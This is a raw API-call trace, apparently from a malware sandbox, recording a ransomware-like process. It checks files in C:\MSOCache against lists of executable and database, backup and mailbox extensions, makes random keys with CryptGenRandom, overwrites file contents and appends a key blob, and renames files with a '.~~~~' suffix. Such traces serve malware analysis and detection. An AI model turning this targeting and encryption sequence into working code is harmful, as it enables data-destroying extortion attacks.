	[0069.330] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0069.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0069.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7e8
	[0069.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0069.330] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0069.332] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0069.332] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0069.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0069.332] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=18932209600) returned 1
	[0069.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9642c3f0, dwHighDateTime=0x1d60e1e)) 
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0a0
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0069.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0069.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0069.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7060
	[0069.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0069.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0069.333] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0069.333] GetLastError () returned 0x0
	[0069.333] GetLastError () returned 0x0
	[0069.333] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0069.333] GetLastError () returned 0x0
	[0069.333] GetLastError () returned 0x0
	[0069.333] ReadFile (in: hFile=0x120, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0069.338] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0069.339] WriteFile (in: hFile=0x120, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0069.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0069.340] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0069.340] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0073.255] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0073.255] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0073.255] CloseHandle (hObject=0x120) returned 1
	[0073.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0073.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.~~~~")) returned 1
	[0073.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0073.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0073.642] GetLastError () returned 0x0
	[0073.642] RtlWakeConditionVariable () returned 0x365f70
	[0073.642] GetCurrentThreadId () returned 0x9f4
	[0073.642] GetCurrentThreadId () returned 0x9f4
	[0073.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0073.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a41b8 | out: hHeap=0x300000) returned 1
	[0073.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e228 | out: hHeap=0x300000) returned 1
	[0073.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a41b8
	[0073.642] lstrlenW (lpString=".scr") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".scr") returned 0x0
	[0073.642] lstrlenW (lpString=".cmd") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".cmd") returned 0x0
	[0073.642] lstrlenW (lpString=".dll") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dll") returned 0x0
	[0073.642] lstrlenW (lpString=".bat") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".bat") returned 0x0
	[0073.642] lstrlenW (lpString=".cpl") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".cpl") returned 0x0
	[0073.642] lstrlenW (lpString=".sys") returned 4
	[0073.642] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".sys") returned 0x0
	[0073.643] lstrlenW (lpString=".msc") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".msc") returned 0x0
	[0073.643] lstrlenW (lpString=".com") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".com") returned 0x0
	[0073.643] lstrlenW (lpString=".lnk") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".lnk") returned 0x0
	[0073.643] lstrlenW (lpString=".msp") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".msp") returned 0x0
	[0073.643] lstrlenW (lpString=".pif") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".pif") returned 0x0
	[0073.643] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0073.643] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0073.643] lstrlenW (lpString=".sqb") returned 4
	[0073.643] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".sqb") returned 0x0
	[0073.644] lstrlenW (lpString=".ost") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".ost") returned 0x0
	[0073.644] lstrlenW (lpString=".txt") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".txt") returned 0x0
	[0073.644] lstrlenW (lpString=".mdt") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".mdt") returned 0x0
	[0073.644] lstrlenW (lpString=".BDB") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".BDB") returned 0x0
	[0073.644] lstrlenW (lpString=".eql") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".eql") returned 0x0
	[0073.644] lstrlenW (lpString=".DBF") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DBF") returned 0x0
	[0073.644] lstrlenW (lpString=".EQL") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".EQL") returned 0x0
	[0073.644] lstrlenW (lpString=".FDB") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".FDB") returned 0x0
	[0073.644] lstrlenW (lpString=".EDB") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".EDB") returned 0x0
	[0073.644] lstrlenW (lpString=".DACPAC") returned 7
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DACPAC") returned 0x0
	[0073.644] lstrlenW (lpString=".VHD") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".VHD") returned 0x0
	[0073.644] lstrlenW (lpString=".DBV") returned 4
	[0073.644] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DBV") returned 0x0
	[0073.645] lstrlenW (lpString=".dacpac") returned 7
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dacpac") returned 0x0
	[0073.645] lstrlenW (lpString=".sdf") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".sdf") returned 0x0
	[0073.645] lstrlenW (lpString=".accdb") returned 6
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".accdb") returned 0x0
	[0073.645] lstrlenW (lpString=".DBX") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DBX") returned 0x0
	[0073.645] lstrlenW (lpString=".MDT") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".MDT") returned 0x0
	[0073.645] lstrlenW (lpString=".SQB") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".SQB") returned 0x0
	[0073.645] lstrlenW (lpString=".vhd") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".vhd") returned 0x0
	[0073.645] lstrlenW (lpString=".bac") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".bac") returned 0x0
	[0073.645] lstrlenW (lpString=".mdf") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".mdf") returned 0x0
	[0073.645] lstrlenW (lpString=".BAK") returned 4
	[0073.645] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".BAK") returned 0x0
	[0073.645] lstrlenW (lpString=".BAC") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".BAC") returned 0x0
	[0073.646] lstrlenW (lpString=".dbs") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dbs") returned 0x0
	[0073.646] lstrlenW (lpString=".vhdx") returned 5
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".vhdx") returned 0x0
	[0073.646] lstrlenW (lpString=".NDF") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".NDF") returned 0x0
	[0073.646] lstrlenW (lpString=".dat") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dat") returned 0x0
	[0073.646] lstrlenW (lpString=".DBS") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DBS") returned 0x0
	[0073.646] lstrlenW (lpString=".CKP") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".CKP") returned 0x0
	[0073.646] lstrlenW (lpString=".edb") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".edb") returned 0x0
	[0073.646] lstrlenW (lpString=".PST") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".PST") returned 0x0
	[0073.646] lstrlenW (lpString=".dbf") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dbf") returned 0x0
	[0073.646] lstrlenW (lpString=".SQL") returned 4
	[0073.646] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".SQL") returned 0x0
	[0073.646] lstrlenW (lpString=".pst") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".pst") returned 0x0
	[0073.647] lstrlenW (lpString=".dbv") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dbv") returned 0x0
	[0073.647] lstrlenW (lpString=".SDF") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".SDF") returned 0x0
	[0073.647] lstrlenW (lpString=".dtxs") returned 5
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dtxs") returned 0x0
	[0073.647] lstrlenW (lpString=".db3") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".db3") returned 0x0
	[0073.647] lstrlenW (lpString=".OST") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".OST") returned 0x0
	[0073.647] lstrlenW (lpString=".dbx") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dbx") returned 0x0
	[0073.647] lstrlenW (lpString=".DB3") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DB3") returned 0x0
	[0073.647] lstrlenW (lpString=".DAT") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DAT") returned 0x0
	[0073.647] lstrlenW (lpString=".VHDX") returned 5
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".VHDX") returned 0x0
	[0073.647] lstrlenW (lpString=".ndf") returned 4
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".ndf") returned 0x0
	[0073.647] lstrlenW (lpString=".DB") returned 3
	[0073.647] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DB") returned 0x0
	[0073.647] lstrlenW (lpString=".sql") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".sql") returned 0x0
	[0073.648] lstrlenW (lpString=".MYD") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".MYD") returned 0x0
	[0073.648] lstrlenW (lpString=".DBT") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DBT") returned 0x0
	[0073.648] lstrlenW (lpString=".ACCDB") returned 6
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".ACCDB") returned 0x0
	[0073.648] lstrlenW (lpString=".fdb") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".fdb") returned 0x0
	[0073.648] lstrlenW (lpString=".bak") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".bak") returned 0x0
	[0073.648] lstrlenW (lpString=".myd") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".myd") returned 0x0
	[0073.648] lstrlenW (lpString=".DTXS") returned 5
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".DTXS") returned 0x0
	[0073.648] lstrlenW (lpString=".ckp") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".ckp") returned 0x0
	[0073.648] lstrlenW (lpString=".dbt") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".dbt") returned 0x0
	[0073.648] lstrlenW (lpString=".db") returned 3
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".db") returned 0x0
	[0073.648] lstrlenW (lpString=".TXT") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".TXT") returned 0x0
	[0073.648] lstrlenW (lpString=".MDF") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".MDF") returned 0x0
	[0073.648] lstrlenW (lpString=".bdb") returned 4
	[0073.648] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".bdb") returned 0x0
	[0073.649] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0073.649] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0073.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7e8
	[0073.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0073.649] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0073.650] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0073.650] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0073.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0073.650] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19364013956) returned 1
	[0073.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x969d3830, dwHighDateTime=0x1d60e1e)) 
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e228
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0073.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e228 | out: hHeap=0x300000) returned 1
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3a2fa8
	[0073.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0073.650] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0073.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2fa8 | out: hHeap=0x300000) returned 1
	[0073.651] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0073.651] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
